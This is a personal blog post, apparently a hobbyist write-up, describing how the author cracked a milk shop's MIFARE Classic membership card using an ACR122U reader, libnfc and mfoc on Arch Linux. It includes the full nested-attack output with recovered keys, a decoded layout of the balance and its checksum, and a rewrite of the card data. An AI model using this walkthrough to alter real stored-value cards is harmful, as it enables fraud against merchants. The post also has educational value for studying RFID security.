Cracking a Milk Membership Card with an ACR122U on Arch Linux

Tuesday, October 25, 2016 🌐中文

Preface

This kind of post has been written to death years ago—there’s nothing particularly novel here. I’m posting it mainly as part of my learning process. A few days ago I got a milk-shop membership card as a bonus after topping up 100. It wasn’t tied to my real name. I just put the card on the reader, swiped once, and the payment went through, which caught my interest. For RFID hacking people usually use a Proxmark3; back when I didn’t know better, I bought an ACR122U. First I used Mifare Classic Tool on my Nexus 5 to verify whether the card provided by the milk shop was a Mifare Classic card (the Nexus 5 hardware doesn’t support this card type, so it can only read basic info). After confirming it was, I dug out my dusty ACR122U and started tinkering on Arch Linux. I’d also lost both of my meal cards while out, and I happened to have backups of the old cards, so I restored those two as well.

new_card

Basic Knowledge

MIFARE IC cards were developed by NXP Semiconductors (Netherlands). This post analyzes an MF1S50-series card and follows the ISO/IEC 14443A standard. In 2010, NXP updated MIFARE Classic cards: the ID can be a 7-byte unique ID or a 4-byte non-unique ID.

Logical Structure

The memory of a MIFARE Classic 1K card is divided into 16 sectors. Each sector has 4 blocks, and each block is 16 bytes. The first block (Manufacturer Block) contains the UID (Unique Identifier, 4 bytes), followed by manufacturer data (Manufacturer Data). BCC (Block Check Character, 1 byte; XOR of the first 4 bytes of the ID), ATQA (Answer To Request, 2 bytes), and SAK (Select Acknowledge, 1 byte) are also included.

Logical_Structure

The 4th block in each sector (Sector Trailer, the control block) stores two secret keys (Key A, Key B; 6 bytes each) and the AC (Access Condition, 3 bytes; determines which key is used). It also contains GPB (General Purpose Byte, 1 byte; unused or “Unused”).

CRYPTO1

MIFARE Classic only uses the CRYPTO1 cipher. Because the algorithm was not public and hadn’t been thoroughly scrutinized, it had potential weaknesses. In 2007, two Germans, Karsten Nohl and Henryk Pltz, pointed out flaws in Crypto-1. In 2008, the algorithm was fully reverse-engineered and published. Crypto-1 is a stream cipher that relies on the randomness and unpredictability of the keystream.

stream

It uses a 48-bit LFSR (Linear Feedback Shift Register) and a nonlinear function to generate the keystream. The key length is too short and is susceptible to brute force. A 16-bit LFSR generates a 32-bit nonce (nT) via a polynomial: the first 16 bits determine the latter 16 bits, so unpredictability fails. The initial nonce depends on time; by controlling the reader’s timing, you can influence the nonce, so randomness fails as well.

Attack

Based on others’ writeups, here’s a summary of cracking approaches:

  • Special conditions: replay; monitor USB traffic and sniff the traffic between the reader and the card.
  • Typical: brute force, Dark-Side, authentication nested

Usage

ACR122U Driver

Download the official driver source:

wget http://www.acs.com.hk/download-driver-unified/6260/ACS-Unified-Driver-Lnx-Mac-113-P.zip

Before building and installing, you need pcsc-lite. pcsc-lite wraps smart-card device access via the SCard API (PC/SC).

Arch Linux:

sudo pacman -S pcsclite

Unzip and build/install:

unzip -d acr122u ./ACS-Unified-Driver-Lnx-Mac-113-P.zip
cd acr122u
tar -jxvf acsccid-1.1.3.tar.bz2
cd ./acsccid-1.1.3

Open Source Near Field Communication (NFC) Library

You also need to install libtool (a generic library support script) and libnfc. On Arch Linux it’s very convenient:

sudo pacman -S libtool
yaourt libnfc

Run nfc-list -v to check the device list, and you may get an error:

Unable to claim USB interface (Device or resource busy)

The Arch Linux Wiki says that kernel versions (> 3.5) will auto-load the pn533 driver, and then pcscd will fail.

First, check the module list:

gorgias@3vil ~> lsmod
Module                  Size  Used by
pn533_usb              16384  0
pn533                  28672  1 pn533_usb
nfc                    86016  1 pn533

Remove these three modules and add them to the blacklist. The LED will turn off, but the device works normally.

sudo modprobe -r pn533_usb pn533 nfc
sudo vi /etc/modprobe.d/blacklist-libnfc.conf

Add the following:

blacklist nfc
blacklist pn533
blacklist pn533_usb

Now the device info shows up successfully:

gorgias@3vil ~> nfc-list
nfc-list uses libnfc 1.7.1
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04
       UID (NFCID1): 96  c2  d2  9d
      SAK (SEL_RES): 08

MFOC

MFOC (Mifare Classic Offline Cracker) is an offline tool for nested-authentication attacks.

git clone https://github.com/nfc-tools/mfoc.git
cd ./mfoc
autoreconf -vis
make && make install

Dump MIFARE Classic 1K

First, view the help:

gorgias@3vil ~> mfoc -h
Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]

  h     print this help and exit
  k     try the specified key in addition to the default keys
  f     parses a file of keys to add in addition to the default keys
  P     number of probes per sector, instead of default of 20
  T     nonce tolerance half-range, instead of default of 20
        (i.e., 40 for the total range, in both directions)
  O     file in which the card contents will be written (REQUIRED)

Example: mfoc -O mycard.mfd
Example: mfoc -k ffffeeeedddd -O mycard.mfd
Example: mfoc -f keys.txt -O mycard.mfd
Example: mfoc -P 50 -T 30 -O mycard.mfd

Dump the data. Increase the probes value per sector; the default is 20, and increasing it can make it much faster. The output file is test.mfd. MFOC first tries default keys; if they match it performs a nested authentication attack.

gorgias@3vil ~> mfoc -P 500 -O ~/temp/old.mfd
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04
* UID size: single
* bit frame anticollision supported
       UID (NFCID1): 96  c2  d2  9d
      SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [..xxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [..xxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [..xxxxxxxxxxxxxx]
[Key: 000000000000] -> [..xxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [..xxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [..xxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [..xxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [..xxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [..xxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [..xxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [..xxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [..xxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [..xxxxxxxxxxxxxx]

Sector 00 - Unknown Key A               Unknown Key B
Sector 01 - Unknown Key A               Unknown Key B
Sector 02 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 03 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 04 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 05 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 06 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 07 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 08 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 09 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 10 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 11 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 12 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 13 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 14 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff
Sector 15 - Found   Key A: ffffffffffff Found   Key B: ffffffffffff

Using sector 02 as an exploit sector
Sector: 0, type A, probe 0, distance 64 .....
  Found Key: A [9db8bbe5265d]
  Data read with Key A revealed Key B: [883206883206] - checking Auth: OK
Sector: 1, type A
  Data read with Key A revealed Key B: [883206883206] - checking Auth: OK
  Found Key: A [9db8bbe5265d]
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 62, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 61, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 60, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 59, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 58, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 57, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 56, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 55, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 54, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 53, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 52, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 51, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 50, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 49, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 48, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 47, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 46, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 45, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 44, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 43, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 42, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 41, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 40, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 39, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 38, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 37, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 36, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 35, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 34, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 33, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 32, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 31, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 30, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 29, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 28, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 27, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 26, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 25, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 24, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 23, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 22, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 21, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 20, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 19, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 18, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 17, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 16, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 15, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 14, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 13, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 12, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 11, type A, key ffffffffffff :00  00  00  00  00  00  ff  07  80  69  ff  ff  ff  ff  ff  ff
Block 10, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 09, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 08, type A, key ffffffffffff :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 07, type A, key 9db8bbe5265d :00  00  00  00  00  00  ff  07  80  69  88  32  06  88  32  06
Block 06, type A, key 9db8bbe5265d :36  30  35  34  38  32  35  00  00  00  00  00  00  00  00  00
Block 05, type A, key 9db8bbe5265d :03  00  00  00  fc  ff  ff  ff  03  00  00  00  05  fa  05  fa
Block 04, type A, key 9db8bbe5265d :dc  23  00  00  23  dc  ff  ff  dc  23  00  00  04  fb  04  fb
Block 03, type A, key 9db8bbe5265d :00  00  00  00  00  00  ff  07  80  69  88  32  06  88  32  06
Block 02, type A, key 9db8bbe5265d :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 01, type A, key 9db8bbe5265d :bd  fa  d2  b5  b9  ab  cb  be  49  43  bf  a8  00  00  00  00
Block 00, type A, key 9db8bbe5265d :96  c2  d2  9d  1b  08  04  00  62  63  64  65  66  67  68  69

Start Analyzing

96c2 d29d 1b08 0400 6263 6465 6667 6869     #UID 96c2d29d(4 bytes), 1b(???), 08(SAK 1 byte), 0400(ATQA 0004 2 bytes), 6263646566676869(placeholder bcdefghi 8 bytes)
bdfa d2b5 b9ab cbbe 4943 bfa8 0000 0000     #string “晋业公司IC卡”
0000 0000 0000 0000 0000 0000 0000 0000
9db8 bbe5 265d ff07 8069 8832 0688 3206     #9db8bbe5265d(KeyA 6 bytes), ff0780(Access Conditions 3 bytes), 69 (Undefined 1 byte), 883206883206(KeyB 6 bytes)

dc23 0000 23dc ffff dc23 0000 04fb 04fb     #dc23 0000(balance with high/low bytes swapped; decimal 91.80; 4 bytes), 23dc ffff(balance XOR checksum; 4 bytes), 23dc ffff(balance; 4 bytes), 04fb 04fb(???)
0300 0000 fcff ffff 0300 0000 05fa 05fa     #0300 0000(usage counter; +1 per purchase or top-up; 4 bytes), fcff ffff(counter XOR checksum; 4 bytes), 0300 0000(counter; 4 bytes), 05fa(???)
3630 3534 3832 3500 0000 0000 0000 0000     #card number 6054825
9db8 bbe5 265d ff07 8069 8832 0688 3206     #9db8bbe5265d(KeyA 6 bytes), ff0780(Access Conditions 3 bytes), 69(Undefined 1 byte), 883206883206(KeyB 6 bytes)

Modifying Data

gorgias@3vil ~> nfc-mfclassic
Usage: nfc-mfclassic f|r|R|w|W a|b <dump.mfd> [<keys.mfd> [f]]
  f|r|R|w|W     - Perform format (f) or read from (r) or unlocked read from (R) or write to (w) or unlocked write to (W) card
                  *** format will reset all keys to FFFFFFFFFFFF and all data to 00 and all ACLs to default
                  *** unlocked read does not require authentication and will reveal A and B keys
                  *** note that unlocked write will attempt to overwrite block 0 including UID
                  *** unlocking only works with special Mifare 1K cards (Chinese clones)
  a|A|b|B       - Use A or B keys for action; Halt on errors (a|b) or tolerate errors (A|B)
  <dump.mfd>    - MiFare Dump (MFD) used to write (card to MFD) or (MFD to card)
  <keys.mfd>    - MiFare Dump (MFD) that contain the keys (optional)
  f             - Force using the keyfile even if UID does not match (optional)
Examples:

  Read card to file, using key A:

    nfc-mfclassic r a mycard.mfd

  Write file to blank card, using key A:

    nfc-mfclassic w a mycard.mfd

  Write new data and/or keys to previously written card, using key A:

    nfc-mfclassic w a newdata.mfd mycard.mfd

  Format/wipe card (note two passes required to ensure writes for all ACL cases):

    nfc-mfclassic f A dummy.mfd keyfile.mfd f
    nfc-mfclassic f B dummy.mfd keyfile.mfd f

Using the uppercase W option can overwrite the UID of a blank Mifare Classic 1K card (the kind sold online).

cover

gorgias@3vil ~> nfc-mfclassic w a ~/temp/test.mfd ~/temp/old.mfd
NFC reader: ACS / ACR122U PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04
         UID (NFCID1): 96  c2  d2  9d
      SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |...............................................................|
Done, 63 of 64 blocks written.

Here I reduced the balance by 0.1, wrote the modified dump back, and successfully paid at the milk shop. The balance printed on the receipt also matched.

compare

The structure is very simple—you could “drink milk for free”. But that’s basically stealing, and the milk shop is a small business too.

Reference

[AN10833] MIFARE Type Identification Procedure

[AN10927] MIFARE and handling of UIDs

[AN1304] NFC Type MIFARE Classic Tag Operation

The Mifare Classic AuthenticationProcess

Dismantling MIFARE Classic

RFID Cooking with Mifare Classic

On cracking Mifare Classic - K1two2

A few words on RFID cracking (3 posts and comments)

Hardware SecurityACR122UIC cardRFID

First Impressions of KVM/QEMU

Nexus 5 Can’t Retire Yet — Be My Backup Phone!